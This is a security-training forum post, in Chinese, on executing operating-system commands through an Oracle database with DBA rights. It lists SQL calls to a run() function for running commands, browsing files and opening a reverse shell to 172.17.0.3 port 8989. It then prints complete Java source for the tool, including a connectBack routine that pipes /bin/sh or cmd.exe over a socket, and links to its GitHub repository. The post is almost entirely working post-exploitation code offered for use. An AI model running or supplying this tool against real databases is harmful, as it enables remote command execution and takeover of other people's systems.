找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 178|回复: 0

oracle 数据库命令执行

[复制链接]

91

主题

0

回帖

371

积分

管理员

积分
371
发表于 2025-5-24 14:44:10 | 显示全部楼层 |阅读模式

oracleShell oracle 数据库命令执行



测试环境-DBA权限:
  1. SELECT * FROM v$version

  2. Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production
  3. PL/SQL Release 11.2.0.1.0 - Production
  4. "CORE        11.2.0.1.0        Production"
  5. TNS for 32-bit Windows: Version 11.2.0.1.0 - Production
  6. NLSRTL Version 11.2.0.1.0 - Production
  7. Function
  8. 命令执行
  9. select run('exec','whoami','UTF-8') from dual;
  10. 文件管理
  11. select run('list','/usr','UTF-8') from dual;
  12. 获取当前路径
  13. select run('getCurrentDir','','UTF-8') from dual;
  14. 反弹shell
  15. select run('connectBack','172.17.0.3^8989','UTF-8') from dual;
复制代码





Shell.java
  1. import java.io.BufferedReader;
  2. import java.io.BufferedWriter;
  3. import java.io.File;
  4. import java.io.IOException;
  5. import java.io.InputStream;
  6. import java.io.InputStreamReader;
  7. import java.io.OutputStream;
  8. import java.io.OutputStreamWriter;
  9. import java.net.Socket;
  10. import java.util.Date;

  11. public class Shell extends Object {
  12.     public static String run(String methodName, String params, String encoding) {
  13.         String result = "";
  14.         if (methodName.equalsIgnoreCase("exec")) {
  15.             result = Shell.exec(params, encoding);
  16.         } else if (methodName.equalsIgnoreCase("list")) {
  17.             result = Shell.list(params, encoding);
  18.         } else if (methodName.equalsIgnoreCase("getCurrentDir")) {
  19.             result = Shell.getCurrentDir();
  20.         } else if (methodName.equalsIgnoreCase("connectBack")) {
  21.             String ip = params.substring(0, params.indexOf("^"));
  22.             String port = params.substring(params.indexOf("^") + 1);
  23.             result = Shell.connectBack(ip, Integer.parseInt(port));
  24.         } else {
  25.             result = "unkown methodName";
  26.         }
  27.         return result;
  28.     }

  29.     public static String exec(String cmd, String encoding) {
  30.         String result = "";
  31.         if (encoding == null || encoding.equals("")) {
  32.             encoding = "utf-8";
  33.         }
  34.         Process p;
  35.         try {
  36.             p = Runtime.getRuntime().exec(cmd);
  37.             try {
  38.                 p.waitFor();
  39.             } catch (InterruptedException e) {
  40.                 result += e.getMessage();
  41.                 e.printStackTrace();
  42.             }
  43.             InputStream fis;
  44.             if (p.exitValue() == 0) fis = p.getInputStream();
  45.             else fis = p.getErrorStream();
  46.             InputStreamReader isr = new InputStreamReader(fis);
  47.             BufferedReader br = new BufferedReader(isr);
  48.             String line = null;
  49.             while ((line = br.readLine()) != null) {
  50.                 result += line + "\n";
  51.             }
  52.         } catch (IOException e) {
  53.             result += e.getMessage();
  54.         }
  55.         return result;
  56.     }

  57.     public static String list(String path, String encoding) {
  58.         String result = "";
  59.         if (encoding == null || encoding.equals("")) {
  60.             encoding = "utf-8";
  61.         }
  62.         File file = new File(path);
  63.         File[] items = file.listFiles();
  64.         for (int i = 0; i < items.length; i++) {
  65.             File item = items[i];
  66.             String type = item.isDirectory() ? "<DIR>" : " ";
  67.             String size = item.isDirectory() ? " " : item.length() / 1024 + "KB";
  68.             if (size.equals("0KB")) size = item.length() + "Byte";
  69.             String date = new Date(item.lastModified()).toLocaleString();
  70.             result += date + " " + type + " " + size + " " + item.getName() + "\n";
  71.         }
  72.         return result;
  73.     }

  74.     public static String getCurrentDir() {
  75.         String result = "";
  76.         File directory = new File("");
  77.         try {
  78.             result = directory.getAbsolutePath();
  79.         } catch (Exception e) {
  80.         }
  81.         return result;
  82.     }

  83.     public static String connectBack(String ip, int port) {
  84.         class StreamConnector extends Thread {
  85.             InputStream sp;
  86.             OutputStream gh;

  87.             StreamConnector(InputStream sp, OutputStream gh) {
  88.                 this.sp = sp;
  89.                 this.gh = gh;
  90.             }

  91.             public void run() {
  92.                 BufferedReader xp = null;
  93.                 BufferedWriter ydg = null;
  94.                 try {
  95.                     xp = new BufferedReader(new InputStreamReader(this.sp));
  96.                     ydg = new BufferedWriter(new OutputStreamWriter(this.gh));
  97.                     char buffer[] = new char[8192];
  98.                     int length;
  99.                     while ((length = xp.read(buffer, 0, buffer.length)) > 0) {
  100.                         ydg.write(buffer, 0, length);
  101.                         ydg.flush();
  102.                     }
  103.                 } catch (Exception e) {
  104.                 }
  105.                 try {
  106.                     if (xp != null) xp.close();
  107.                     if (ydg != null) ydg.close();
  108.                 } catch (Exception e) {
  109.                 }
  110.             }
  111.         }
  112.         try {
  113.             String ShellPath;
  114.             if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
  115.                 ShellPath = new String("/bin/sh");
  116.             } else {
  117.                 ShellPath = new String("cmd.exe");
  118.             }
  119.             Socket socket = new Socket(ip, port);
  120.             Process process = Runtime.getRuntime().exec(ShellPath);
  121.             (new StreamConnector(process.getInputStream(), socket.getOutputStream())).start();
  122.             (new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();
  123.         } catch (Exception e) {
  124.         }
  125.         return "^OK^";
  126.     }
  127. }
复制代码


参考链接:
rebeyond-oracleShell.jar


下载地址 https://github.com/jas502n/oracleShell

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|暗月安全培训论坛

GMT+8, 2026-1-9 11:44 , Processed in 0.064203 second(s), 19 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表